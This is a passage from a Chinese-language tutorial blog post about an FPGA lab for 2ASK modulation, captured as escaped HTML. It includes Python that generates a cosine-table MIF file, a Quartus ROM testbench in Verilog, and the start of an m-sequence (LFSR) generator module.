class=\"token string\"\u003e\"CONTENT BEGIN\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003erange\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003emath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ecos\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epi\u003cspan class=\"token operator\"\u003e*\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e x\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string-interpolation\"\u003e\u003cspan class=\"token string\"\u003ef\"\u003c/span\u003e\u003cspan class=\"token interpolation\"\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token string\"\u003e:\u003c/span\u003e\u003cspan class=\"token interpolation\"\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token string\"\u003e\\n\"\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"END;\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e效果(如果发现quartus报错就生成一个标准的mif文件然后把下面的复制进去替换:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-mif\" data-language=\"mif\"\u003e\u003ccode class=\"language-mif\"\u003eWIDTH\u0026#x3D;8;DEEPTH\u0026#x3D;8;ADDRESS_RADIX\u0026#x3D;UNS;DATA_RADIX\u0026#x3D;UNS;CONTENT BEGIN0:2551:2182:1283:374:05:376:1277:218END;\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/sin.png\" /\u003e\u003ch5 id=\"生成IP核\"\u003e\u003ca href=\"#生成IP核\" class=\"headerlink\" title=\"生成IP核\"\u003e\u003c/a\u003e生成IP核\u003c/h5\u003e\u003cp\u003e注意深度选择的时候下拉没有8深度的选择,但是可以手动输入。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e)不过我在其他文件调用ip核的时候一直仿真失败emm,所以ip核就直接用了,等我找到问题再看看。\u003c/del\u003e\u003c/p\u003e\u003ch5 id=\"编写代码及仿真\"\u003e\u003ca href=\"#编写代码及仿真\" class=\"headerlink\" title=\"编写代码及仿真\"\u003e\u003c/a\u003e编写代码及仿真\u003c/h5\u003e\u003cp\u003e添加IP核,进行仿真。\u003c/p\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_lpm_rom\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e address2\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e address2 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e\u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e address2 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003ecos_8x8cos_8x8_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eaddress \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e address2 \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclock \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e clk \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eq \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e q \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/cos%E4%BB%BF%E7%9C%9F.png\" /\u003e\u003ch3 id=\"3-m序列产生模块\"\u003e\u003ca href=\"#3-m序列产生模块\" class=\"headerlink\" title=\"3.m序列产生模块\"\u003e\u003c/a\u003e3.m序列产生模块\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_45015947/article/details/89891757\"\u003em序列产生原理及其性质_Angelo_pj的博客-CSDN博客_m序列\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/377685193\"\u003e【verilog杂谈(一)】 2-16位长度的m序列发生器 - 知乎 (zhihu.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e要求:按原理2.3节设计m序列产生模块,要求产生不同长度的m序列。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e代码根据实验要求修改自参考链接,可以产生2~16位的m序列。\u003c/p\u003e\u003cp\u003e\u003ccode\u003emxulie.v\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e mxulie#\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e len \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// parameter range from 2 to 16\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_sequence \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eassign\u003c/span\u003e m_sequence \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e Q_r \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e Q_r \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// shift reg\u003c/span\u003e \u003cspan class=\"token function\"\u003ecase\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e6\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e9\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token 